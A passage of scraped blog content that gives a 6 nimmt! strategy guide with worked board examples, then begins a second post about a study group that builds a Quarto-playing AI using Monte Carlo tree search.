quickly in the early game.\nHowever, be aware that the other players around you are likely thinking the same thing.\nHere\u0026rsquo;s an example of the board and hand at the start of the game:\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 🐮 65(2) 🐮 22(5) 🐮 Suppose you play 101, the maximum value in your hand. The possible cases are mainly three:\nAll players play numbers 66 or above\nIn this case, all cards will gather in the third row from the top, and the player who played the second-largest number will incur penalty points.\nIf you\u0026rsquo;re lucky and 101 isn\u0026rsquo;t the second-largest number, you\u0026rsquo;re safe — but this falls under the \u0026ldquo;chance\u0026rdquo; category, so you\u0026rsquo;ll incur penalty points 4 out of 5 times.\nOnly one player plays a number 64 or below, and the remaining players play numbers 66 or above\nA common case.\nIn this case, the player who played the largest number incurs penalty points, and 101 is a large enough number that the probability of penalty points is high.\nMore than two players play numbers 64 or below, and the remaining players play numbers 66 or above\nPenalty points avoided.\nHowever, since other players also want to dispose of large-number cards, this case rarely occurs.\nThe likely cases are 1 or 2, and in both cases 101 is a card with a high probability of incurring penalty points.\nTherefore, you should not play large-number cards like 96 or 101 here.\nSo what should you play? This brings us to Early Game Tip 1.\nEarly Game Tip 1: If the row with the largest tail on the board is a safe row, play a safe card What is a safe row and a safe card? A safe card is, in a word, a card with a low probability of incurring penalty points.\nAlso, a row where a safe card exists is called a safe row. 4\nAs an example, let\u0026rsquo;s consider whether the following row is safe.\nFor simplicity, other rows and the numbers of previously played cards will not be considered within this section.\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 11(5) 14(1) 20(3) 🐮 This row is not safe.\nFirst, let the number at the tail of this row be \\(N (=20)\\), and the number of cards already placed in this row be \\(M (=3)\\).\n$$ N = 20 $$ $$ M = 3 $$\nAt this point, when there exists an \\(O\\) in your hand satisfying the following condition, that row is called a safe row, and the card \\(O\\) is called a safe card.\n$$ N + 1 \\le O \\le N + (5 - M) + max(0, 3 - M) \\times 2 $$\n\\(max(0, 3 - M)\\) means selecting the larger value between \\(0\\) and \\(3 - M\\).\nSubstituting \\(N\\) and \\(M\\) into this example:\n$$ 21 \\le O \\le 22 $$\nSince there are no cards in your hand between 21 and 22, this row is not safe.\nLet me give another example.\nThe hand is the same as the previous example.\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 65(2) 🐮 This row is safe because the safe card \\(O = 71\\) satisfying the following condition exists in your hand.\n$$ N = 65 $$ $$ M = 1 $$ $$ N + 1 \\le O \\le N + (5 - M) + max(0, 3 - M) \\times 2 $$ $$ 66 \\le O \\le 73 $$\nThe above is the basic method for calculating safe rows and safe cards in the early game.\nIn reality, whether a row is safe fluctuates depending on previously played cards and the board situation, but cases where you need to consider these are not very common when playing your 1st or 2nd card in the very early game.\nI wrote a complicated formula, but the important thing is that a card with a low probability of incurring penalty points is a safe card.\nWith this in mind, let me explain Early Game Tip 1.\nIf the row with the largest tail on the board is a safe row, play a safe card I\u0026rsquo;ll reiterate the example from the start of the game given in 6. Early Game Tips.\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 🐮 65(2) 🐮 22(5) 🐮 Among these 4 rows, the third row from the top has the largest tail number.\nThis row is safe, and the safe card is 71. Therefore, following Early Game Tip 1, 71 is the card you should play.\nSo what should you do when there is no such safe row?\nFor such cases, I\u0026rsquo;ll explain Early Game Tips 2 and 3 with additional examples.\nEarly Game Tip 2: Play the card with the largest value among those smaller than A, the largest tail number on the board (when Early Game Tip 1 cannot be applied, and there\u0026rsquo;s a high probability that many cards larger than A will be played) Such cases frequently occur in the very early game when you\u0026rsquo;re playing your 1st or 2nd card.\nAs an example, here is the board and hand for such a situation:\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 18(1) 🐮 88(5) 🐮 75(2) 🐮 47(1) 🐮 In this case, since the row with 88(5) as the largest tail on the board is not safe, Early Game Tip 1 cannot be used.\nAnd since you have 10 cards in your hand, this means you\u0026rsquo;re about to play your 1st card, which means there\u0026rsquo;s a high probability that cards 89 and above exist in your opponents\u0026rsquo; hands.\nHere, recall the second possible case from 6. Early Game Tips:\nOnly one player plays a number 64 or below, and the remaining players play numbers 66 or above\nA common case.\nIn this case, the player who played the largest number incurs penalty points, and 101 is a large enough number that the probability of penalty points is high.\nHere, you become that one player.\nFirst, assuming all players try to play the highest possible numbers, most of the cards played will be 89 or above.\nAnd in practice, this is often the case.\nConversely, all numbers 87 and below become cards with a low probability of incurring penalty points.\nIn other words, among the tails of each row — 18(1), 88(5), 75(2), 47(1) — values from 1 to 87, which are smaller than the maximum value of 88(5), have a low probability of incurring penalty points.\nTherefore, in such a case, 85(2), which is the maximum value between 1 and 87 in your hand, is the card you should play.\nEarly Game Tip 3: Treat the row with the largest tail as if it doesn\u0026rsquo;t exist, and if the row with the next largest tail is safe, play a safe card (when Early Game Tips 1 and 2 cannot be applied) Again, as an example, here is the board and hand for such a situation:\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1)\n#1 #2 #3 #4 #5 #6 95(2) 101(1) 102(1) 🐮 80(3) 82(1) 🐮 64(1) 66(5) 67(1) 🐮 47(1) 49(1) 🐮 Applying Early Game Tip 2 to this, the card to play would be 96(1).\nThis is because the tail number of the row with the largest tail on the board is 102, and the maximum value between 1 and 101 in your hand is 96.\nHowever, in the world of 6 nimmt!, the only numbers larger than 102 are 103 and 104.\nAnd under this article\u0026rsquo;s rules, there\u0026rsquo;s a considerable possibility that 103 or 104 have been removed.\nOn such a board, if other players try to dispose of the highest possible cards, playing 96(1) may result in penalty points.\nThis is because it\u0026rsquo;s currently the turn to play your 2nd card, and there\u0026rsquo;s a high probability that other players holding cards between 83 and 94 exist.\nTo give a concrete board, you would incur penalty points if the following board state results after playing 96(1):\n#1 #2 #3 #4 #5 #6 95(2) 101(1) 102(1) 104(1) 🐮 80(3) 82(1) 83(1) 88(5) 91(1) 96(1) 64(1) 66(5) 67(1) 79(1) 🐮 47(1) 49(1) 🐮 So which card should you play to avoid penalty points?\nFortunately, you have the card 85(2) in your hand, which is safe against the row with 82(1).\nIf you play 85 instead of 96, the board would look like this, and you can avoid penalty points:\n#1 #2 #3 #4 #5 #6 95(2) 101(1) 102(1) 104(1) 🐮 80(3) 82(1) 83(1) 85(2) 88(5) 91(1) 64(1) 66(5) 67(1) 79(1) 🐮 47(1) 49(1) 🐮 Therefore, when such a safe card exists, you play it to avoid penalty points.\nExpressed in generalized terms, this means treating the row with the largest tail as if it doesn\u0026rsquo;t exist and playing a safe card for the row with the next largest tail number.\nIf no such safe card exists, reapply Early Game Tip 2 after treating the row with the largest tail as if it doesn\u0026rsquo;t exist.\nApplied to the above example, 71(1), which is the maximum value between 1 and 81 in your hand, becomes the card to play.\nSo in the early game, you proceed by using these 3 tips to discard as many large-number cards as possible.\nThere may be cases where none of these 3 tips can be applied. In such cases, play the safest possible card to avoid penalty points.\nTo reiterate, playing safe cards prevents penalty points, and preventing penalty points is important in 6 nimmt!\n7. Mid-Game Tips The mid-game refers to the point when board states where there are no safe rows for all players become increasingly common.\nBelow, I\u0026rsquo;ll give several examples where there are no safe rows for any player.\nExample 1: No safe rows for any player Hand: 17(1), 39(1), 44(5), 59(1), 71(1), 84(1)\n#1 #2 #3 #4 #5 #6 61(1) 62(1) 66(5) 67(1) 68(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 82(1) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 At first glance, the row with 82(1) appears safe.\nHowever, since the other rows are already filled with 5 cards, there\u0026rsquo;s a very high probability that 82(1) will be taken by a card of 30 or below.\nTherefore, there are no safe rows on this board.\nExample 2: No safe rows for any player Hand: 2(1), 10(3), 17(1), 39(1), 44(5), 57(1)\n#1 #2 #3 #4 #5 #6 11(5) 45(2) 49(1) 54(1) 56(1) 🐮 41(1) 43(1) 55(3) 🐮 38(1) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 At first glance, the row with 55(3) appears safe.\nHowever, since the tail of the top row is 56(1), it\u0026rsquo;s almost certain that no cards will follow after 55(3) this turn.\nIf another player takes the top row, cards will follow after 55(3), but in most cases they\u0026rsquo;ll take 38(1) 5, so this doesn\u0026rsquo;t need to be considered here.\nTherefore, this board is essentially the same as Example 1, and there are no safe rows.\nExample 3: No safe rows for any player Hand: 2(1), 10(3), 17(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 22(5) 25(2) 27(1) 30(3) 31(1) 🐮 This board is a reiteration of the example given in 6. Early Game Tips.\nYou hold 10(3) and 17(1), which are safe cards against the row with 9(1).\nAnd since you have many remaining cards in your hand, there\u0026rsquo;s a good chance other players also hold cards between 11 and 30.\nBecause of this, the row with 9(1) may appear safe at first glance, but in this case, 9(1) is frequently taken by a card with a number of 8 or below, and the player who played the card with the largest value ends up incurring penalty points.\nLet\u0026rsquo;s think about why this happens.\nHolding a card of 8 or below means that during the game, you\u0026rsquo;ll almost certainly have to take some card.\nTherefore, while lower priority than large-number cards, small-number cards are also something you want to dispose of early if possible.\nNow, looking at 9(1) on the board, this becomes a card that players holding small-number cards should take.\nLet\u0026rsquo;s look at the actual board.\nFirst, if no one takes 9(1) and all players play cards between 10 and 30, the board after penalty processing would be as follows:\n#1 #2 #3 #4 #5 #6 Card A between 10-30 (X) Card B between 10-30 (Y) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 Since all cards would be played after the originally placed 9(1), the player who played Card A, the 5th largest number, would incur penalty points, then A would be placed in #1, and Card B, the largest value, would follow after it.\nThis is not a favorable board for players holding cards of 8 or below.\nPlayers holding cards of 8 or below want to take the card with the minimum penalty of (1) if possible, but X+Y will always be at least 2.\nWhen this happens, depending on the subsequent game progression, they may lose the timing to play their cards of 8 or below, and ultimately may end up taking a row with large penalty points.\nNext, here is the board after penalty processing when one or more players play cards of 8 or below, and the remaining players play cards between 10 and 30:\n#1 #2 #3 #4 #5 #6 Card (Z) between 10-30 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 This becomes a favorable board for players holding many small-number cards.\nIf Z becomes 1, a player holding multiple cards of 31 or below can take that Z and continue to create a board favorable to themselves.\nAnd since cards with 1 penalty point are more numerous than cards with 2 or more penalty points, the probability of such a favorable board is high. 6\nFrom the above, players holding cards of 8 or below are likely to play those cards on this board.\nAnd if such players exist, cards between 10 and 17 that would normally be safe against 9(1) may no longer be safe.\nExpressed on a board, the following state could occur:\n#1 #2 #3 #4 #5 #6 Card 1-8 Card 1-8 Card 10-17 Card 10-17 Card 10-17 Card 10-17 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 In such a case, penalty points are incurred by the cards between 10 and 17 placed in #6, which should normally be safe.\nTherefore, there are no safe rows on this board.\nI\u0026rsquo;ve given several examples above where there are no safe rows for any player.\nSo which card should you play after determining you\u0026rsquo;re in the mid-game? Here, you\u0026rsquo;ll use 4 tips depending on the board and hand state.\nMid-Game Tip 1: Play the card with the smallest number (when there is a row with 2 or fewer penalty points on the board, and you can take it) I\u0026rsquo;ll reiterate Example 3 where there are no safe rows for any player.\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 As stated earlier, in this example, 9(1) is likely to be taken by a card of 8 or below. Here, ride that trend and play 2(1).\nThis allows you to avoid penalty points from cards between 10 and 17, and also dispose of the 2 in your hand by taking the minimum penalty of (1).\nMid-Game Tip 2: Play a safe card (when all rows on the board have 3 or more penalty points, and you have a safe card in your hand) This is a case where, after entering the mid-game, several turns have passed and the state has returned to an early-game-like situation.\nHand: 2(1), 10(3), 17(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 In this case, following Mid-Game Tip 1, there\u0026rsquo;s no need to take a card with a number smaller than 11(5).\nA 5-point penalty is quite painful, and taking a massive penalty with 2 or 10 should be avoided as much as possible.\nOn this board, apply Early Game Tip 1.\nIn this example, the safe card 17(1) 7 exists in your hand, so you play it to avoid penalty points.\nMid-Game Tip 3: Play a card with a number larger than A, the tail number of the row with the smallest penalty, and smaller than B, the tail number of the row with the second-smallest penalty (when all rows on the board have 3 or more penalty points, there are no safe cards, and you hold a safe card between A and B that is sufficiently large) To give an example, I\u0026rsquo;ll change the hand from Mid-Game Tip 2\u0026rsquo;s example.\nHand: 2(1), 10(3), 29(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 Since all rows result in large penalty points, assume all players don\u0026rsquo;t want to take any row.\nIf you had a safe card in your hand, you should play it following Mid-Game Tip 2, but in this example, no such card exists.\nWhat you should aim for in this case is to become the player who plays the 6th largest number in the top row. 8\nIf you become the player who plays the 6th largest number, the board after you play would be as follows.\nFor clarity of the played cards, a #7 that doesn\u0026rsquo;t normally exist is added.\n#1 #2 #3 #4 #5 #6 #7 11(5) Card 12-30 Card 12-30 Card 12-30 Card 12-30 Card 12-30 Your card 41(1) 43(1) 50(3) 54(1) 55(7) Cow 64(1) 66(5) 67(1) 71(1) 75(2) Cow 21(1) 25(2) 27(1) 30(3) 31(1) Cow In reality, since the card in #6 would be placed in #1, your card in #7 would end up in the #2 position.\nWhile not as certain as Mid-Game Tips 1 and 2, this allows you to avoid penalty points.\nTo create this state, you play the maximum value in your hand that doesn\u0026rsquo;t exceed 31(1), the tail of the row with the second-smallest penalty.\nIn this example, 29(1) is large enough to potentially be the 6th card, so you would play it.\nHowever, there is an exception to this tip. It\u0026rsquo;s when playing a card between A and B could result in taking another row with large penalty points.\nHere\u0026rsquo;s an example of such a case:\nHand: 2(1), 10(3), 29(1), 39(1), 44(5), 85(2)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 12(1) 15(2) 19(1) 22(5) 28(1) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 In Mid-Game Tip 3:\nPlay a card with a number larger than A, the tail number of the row with the smallest penalty, and smaller than B, the tail number of the row with the second-smallest penalty\nin this example, \\(A = 11\\), \\(B = 31\\).\nIf you apply this tip as-is, the card to play would be 29, but playing 29 would almost certainly result in taking the third row from the top and incurring penalty points.\nIn this case, playing 10(3) from your hand to take 11(5) would be a good choice.\nYou could also apply the late-game tips described later and play a sufficiently large-number card, but if that fails, you\u0026rsquo;d take a row other than the top one and incur massive penalty points.\nIt\u0026rsquo;s better to take a 5-point penalty and avoid that outcome.\nMid-Game Tip 4: Take a board row with a high-penalty card (when Mid-Game Tips 1 through 3 all cannot be applied) This is not a tip for reducing penalty points, but rather a tip for preventing the board from becoming favorable for other players.\nWhen this tip is needed, your hand is usually filled with large numbers.\nAs an example, I\u0026rsquo;ll change the hand from Mid-Game Tip 1\u0026rsquo;s example to one with more large numbers.\nHand: 44(5), 57(1), 79(1), 85(2), 95(2), 99(5)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 In this case, no matter which card you play, the probability of high penalty points is high.\nIn this state, if other players play cards between 10 and 30 and you play a high-penalty card from your hand — for example, 44(5) — the next turn would look like this:\n#1 #2 #3 #4 #5 #6 Card A between 10-30 (X) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 44(5) 🐮 If the value of X is small, this becomes a favorable board for players holding cards between 45 and 54.\nThis is because 44(5) has a high penalty and is less likely to be taken compared to Card A, so they can safely play those cards.\nIf the value of X is large, for the same reason, it becomes a favorable board for both players holding cards between 45 and 54 and players holding cards between A and 43.\nIn any case, by using this tip, the cards played on the next turn will be distributed between the top row and the bottom row, returning the board to a state similar to the early game.\nIt remains a board unfavorable to players holding large-number cards, but the probability of penalty points is lower than if the boards like those in Mid-Game Tips 1 through 3 examples continued.\nAlso, with this tip, which high-penalty card you play changes depending on your hand state.\nAs another example, here\u0026rsquo;s a case where a card of 100 or above exists in your hand:\nHand: 44(5), 79(1), 85(2), 95(2), 99(5), 101(1)\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 In this case, 99(5) becomes the card you should play.\nSince 99(5) has a high penalty and is unlikely to be taken, you can safely play 101(1) from your hand on the next board.\nExpressed in generalized terms, when you hold another card that is larger than the high-penalty card you\u0026rsquo;re playing and sufficiently close to that number, you prioritize playing that high-penalty card.\nWhen all 4 of the above tips cannot be applied, the board is in the late game for you.\nFinally, I\u0026rsquo;ll explain what cards you should play in the late game.\n8. Late Game Tips There is only one late game tip.\nThis is because there\u0026rsquo;s little you can do in the late game, and the early and mid-game tips are meant to advance the late game favorably.\nLate Game Tip: Play the card whose number is furthest from the tail numbers of each row, excluding rows with obviously large penalty points Since you\u0026rsquo;ve exhausted your small-number cards with Mid-Game Tips 1 through 3, in the late game your hand is filled with large numbers.\nAlso, being unable to apply Mid-Game Tip 4 means you don\u0026rsquo;t have high-penalty cards in your hand.\nHowever, unless most of your 10 cards are both low-penalty and large-number 9, if it\u0026rsquo;s the late game for you, it\u0026rsquo;s likely the late game for other players too.\nIn this case, you\u0026rsquo;ll play your large-number cards, believing that you hold cards with larger numbers than the other players.\nHere\u0026rsquo;s a late-game example:\nHand: 84(1), 93(1)\n#1 #2 #3 #4 #5 #6 69(1) 🐮 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 72(1) 74(1) 77(5) 81(1) 82(1) 🐮 In this case, whether you play 84(1) or 93(1) from your hand, there\u0026rsquo;s a high probability of taking the bottom row and incurring penalty points.\nHowever, other players are also in the late-game hand state, and if their contents are as follows, you may be able to avoid penalty points:\nOther player P\u0026rsquo;s hand: 79(1), 92(1)\nThe penalty for the third row from the top is 10, and the penalty for the bottom row is 9.\nWhile only a 1-point difference, taking the bottom row results in a smaller penalty score.\nAlso, 79(1) is too close to 75(2), the tail of the third row from the top, so if P plays 79(1), they\u0026rsquo;ll almost certainly take that row.\nTherefore, P considers 92(1) to have a lower probability of penalty points and will play that card.\nHere, if you play 93(1), you avoid penalty points.\nThis is because P\u0026rsquo;s card 92(1) takes the bottom row, and 93(1) fits into #2.\nWhen multiple players are in the late game, such exchanges of large-number cards frequently occur.\nAnd whether other players are in the late game can be predicted to some extent.\nLet me reiterate the previous late-game example:\n#1 #2 #3 #4 #5 #6 69(1) 🐮 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 72(1) 74(1) 77(5) 81(1) 82(1) 🐮 At this point, the player who played 69(1) on the previous turn is likely in the late game.\nFor the player who played 69(1) to place a card in the top row this turn, they would need to have 70(3) or 73(1) in their hand.\nHowever, by Mid-Game Tip 4, 70(3), which carries a somewhat large penalty, is more likely to be played earlier than 69(1), and the fact that this hasn\u0026rsquo;t happened suggests the probability of holding 70 is low.\nAlso, since 71 and 72 have already been played on the board, 69 and 73 are consecutive, and by the previously mentioned general tip, the probability of holding 73 is low.\nTherefore, there\u0026rsquo;s a high probability that 69 is the last card of 75 or below for this player.\nFor this reason, the card the player who played 69(1) on the previous turn will play this turn is almost certainly 76 or above. 10\nIf your hand is also in the late game at this timing, play your largest-number card while praying.\nEven when there are no other players you think are in the late game, what you can do is the same.\nPlay your largest-number card while praying.\nExample of why you should exclude rows with obviously large penalty points Even with the same hand, there are cases where you should play 84 instead of 93. Here\u0026rsquo;s an example:\nHand: 84(1), 93(1)\n#1 #2 #3 #4 #5 #6 69(1) 🐮 97(1) 99(5) 100(3) 103(1) 104(7) 🐮 73(1) 75(2) 77(5) 79(1) 85(2) 🐮 68(1) 71(1) 72(1) 76(1) 82(1) 🐮 The card whose number is furthest from the tail numbers of each row is 93(1).\nIf you apply the late-game tip as-is, 93(1) would be the card to play, but here let\u0026rsquo;s consider the total penalty points for each row:\n#1 #2 #3 #4 #5 #6 Total penalty 69(1) Cow 1 97(1) 99(5) 100(3) 103(1) 104(7) Cow 17 73(1) 75(2) 77(5) 79(1) 85(2) Cow 11 68(1) 71(1) 72(1) 76(1) 82(1) Cow 5 The total penalty for the third row from the top is 11, which is clearly larger than the total of 5 for the bottom row.\nA penalty of 11 is a significant blow, so you should avoid it even if it means taking 5 penalty points, and therefore on this board, 84(1) is the card you should play.\nThis is the reason the late-game tip states \u0026ldquo;excluding rows with obviously large penalty points.\u0026rdquo;\n9. Conclusion There may be omissions or insufficient explanations, but I currently play 6 nimmt! under this article\u0026rsquo;s rules generally following these tips.\nMost of the tips are written based on my experience, but only Early Game Tip 1: If the row with the largest tail on the board is a safe row, play a safe card was taught to me via chat by a player with an ELO of 500 or above on BGA.\nSo I can confidently say that Early Game Tip 1 is effective.\nThis has become a long article, but the most important thing in 6 nimmt! is to not incur penalty points.\nThe fewer penalty points you incur, the higher you\u0026rsquo;ll place, and if you can consistently maintain that state, your probability of finishing 1st increases.\nThe lengthy text I\u0026rsquo;ve written so far is merely splitting the biggest tip — \u0026ldquo;don\u0026rsquo;t incur penalty points\u0026rdquo; — into smaller tips with concrete examples.\nFor me currently, these smaller tips are important for avoiding penalty points, but what way of playing cards makes it easier to avoid penalty points varies from player to player.\nBy all means, play lots of 6 nimmt! and find your own original tips.\nThis concludes the Day 1 article for Table Game Tansu Advent Calendar 2022.\nTomorrow is Kimunii-san\u0026rsquo;s About the 2022 German Game of the Year Winner.\nIf you search the web with the keyword \u0026ldquo;6 nimmt! how to play,\u0026rdquo; you\u0026rsquo;ll find many pages and videos that clearly explain the rules. Please refer to those.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNumber of games as of November 29, 2022.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIn reality, extremely large-number cards can be advantageous in the late game; it\u0026rsquo;s having many such cards that\u0026rsquo;s disadvantageous. This is explained in detail in the late-game tips.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBoth \u0026ldquo;safe row\u0026rdquo; and \u0026ldquo;safe card\u0026rdquo; are terms I use in this article; they are not general terms.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRarely, but cases where another player takes the top row do exist. This is when that player\u0026rsquo;s remaining hand cards are all 57 or above. In this case, there\u0026rsquo;s a high probability of taking the top row on the next turn and incurring a 10-point penalty, so for that player, taking 38(1) and then incurring 10 points on the next turn vs. incurring 10 points this turn — the latter may make the next turn more favorable for them.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAnticipating this, there is a tip where you intentionally play a card that makes Z larger to prevent creating a board favorable to such players. This is explained in detail in Mid-Game Tip 4.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThe fact that 17(1) is safe against 11(5) is actually a somewhat aggressive judgment. This is because there are no gaps in cards between 12 and 16, and there\u0026rsquo;s a possibility they\u0026rsquo;re distributed equally among other players. However, the probability of occurrence is low, so I\u0026rsquo;m ignoring that possibility here.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nThis board may result in different judgments from different players. Since high-penalty cards like 15(2) or 20(3) may be placed in the top row, it\u0026rsquo;s possible that ultimately playing a card of 76 or above and taking the third row from the top would result in fewer penalty points. I avoid using large-number cards in the mid-game because they can work favorably in the late game.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRarely, but this is a commonly occurring case. If you end up with such a hand, give up on winning that game.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRarely, a player in this state will play a card of 68 or below. I believe this is to pretend they\u0026rsquo;re in the late game, but I\u0026rsquo;ve never confirmed this with the person themselves, so the truth is unknown.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/en/posts/6nimmt-tips/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eThis article is for Day 1 of \u003ca href=\"https://adventar.org/calendars/7799\"\u003eTable Game Tansu Advent Calendar 2022\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eAre you familiar with the card game \u003ca href=\"https://en.wikipedia.org/wiki/6_Nimmt!\"\u003e6 nimmt!\u003c/a\u003e?\u003cbr\u003e\nSince this article won\u0026rsquo;t make sense without knowing the rules of 6 nimmt!, I\u0026rsquo;ll proceed on the assumption that you are familiar with them. \u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003ch2 id=\"1-introduction\"\u003e1. Introduction\u003c/h2\u003e\n\u003cp\u003e6 nimmt! is a game whose strategy changes dramatically depending on the number of players and whether variant rules are adopted.\u003cbr\u003e\nHere, I\u0026rsquo;ll focus on the version I usually play: 6 players with no variant rules (hereafter referred to as \u0026ldquo;this article\u0026rsquo;s rules\u0026rdquo;).\u003c/p\u003e","title":"Tips for winning at 6 Nimmt! (6-player version)"},{"content":" This article was machine-translated from the Japanese version.\nThis article is for Day 9 of Table Game Tansu Advent Calendar 2021.\nThe previous article was Kurenainoushi-san\u0026rsquo;s Texas Hold\u0026rsquo;em Poker Rules Explanation.\nStarting April 11 of this year, the Quarto Solving by Computer Group (hereafter, Quarto-kai) has been holding regular sessions with four members: Kagurazaka Annon-san, Kimunii-san, Atesaki-san, and myself. This article summarizes the founding history of Quarto-kai and its 2021 activities.\nPrerequisite knowledge such as Quarto\u0026rsquo;s rules will not be explained here. Please refer to external sites such as Quarto! | Nicobodo | Board Game Review \u0026amp; Info Blog.\nFounding History After playing Quarto, I was muttering to myself on my Pleroma account.\nhttps://pleroma.unigiri.net/notice/A4soOvGzreImtG7vXs\nクアルトのルール的にソルバ転がってそうなので調べたら案の定ソルバやら論文やらスライドやらが出てきてにこにこ笑顔になった\n(Translated) I figured there\u0026rsquo;d be a solver for Quarto given its rules, and sure enough, I found solvers, papers, and slides, which put a massive grin on my face.\nhttps://pleroma.unigiri.net/notice/A4t9b9DRwudwe58dYO\nいやこれ読む限りQuartoで引き分けになるパターン数は414298141056なので、途中の状態を列挙せずともこれらのうちいずれかの状態となるようにしていけばいいのか？ どっちにしろ1手番ごとに引き分けパターンを全部舐めて到達可能/不可を計算するのしんどそうだが\u0026hellip;\n(Translated) Wait, based on what I\u0026rsquo;m reading here, the number of possible draw patterns in Quarto is 414,298,141,056, so does that mean I just need to aim for one of those states without listing all the intermediate ones? Either way, it sounds like a right pain to scan through every single draw pattern each turn to calculate whether it\u0026rsquo;s reachable or not\u0026hellip;\nAt this point, I couldn\u0026rsquo;t find any documentation on whether an AI that would never lose to a human1 was implementable, so I invited Kimunii-san and Atesaki-san, who had responded to these posts, and also Kagurazaka Annon-san, and we founded Quarto-kai.\nActivities Reading \u0026ldquo;An artificial intelligence for the board game \u0026lsquo;Quarto!\u0026rsquo; in Java\u0026rdquo; Various ideas were proposed, such as performing a full search, applying machine learning, and enumerating standard openings, but first as a survey we read An artificial intelligence for the board game \u0026lsquo;Quarto!\u0026rsquo; in Java, which was freely available on the internet, and each member took charge of specific sections and summarized them in slides and other formats.\nThrough this paper, we primarily learned the following:\nGenerating a complete game tree2 from a blank board is difficult In other words, it is difficult to perfectly determine the best move in the early stages of a game In Quarto, boards that can be considered equivalent under the winning conditions can be generated not only through rotation and reflection These are called mid flip and inside out3 An AI that functions to some extent can be implemented using alpha-beta pruning4 However, since the execution speed of an AI based on alpha-beta pruning cannot be considered very fast, and there were lingering doubts about the implementation of the evaluation function for judging the game\u0026rsquo;s win/loss state, we decided to investigate alternative algorithms.\nImplementing an AI Using Monte Carlo Tree Search While searching for the aforementioned paper, I had also found a Qiita article titled Building a Quarto-Specific Competitive AI with Monte Carlo Tree Search, so we started by investigating what Monte Carlo Tree Search is.\nAs a result of the following findings:\nIt is a proven algorithm in the game of Go Its adoption conditions are compatible with Quarto\u0026rsquo;s specifications and rules The playable AI published by the author of the Qiita article was absurdly strong, and none of the members could defeat it we attempted to analyze the AI source code published on GitHub in order to gain a deeper understanding of Monte Carlo Tree Search behavior. As of December 2021, we have set each member\u0026rsquo;s goals based on this source code analysis and are working toward achieving them.\nIndividual goals include making the board state treatable as game records and identifying Quarto-specific tuning points, but my personal goal is to create an AI stronger than the one in the Qiita article. To 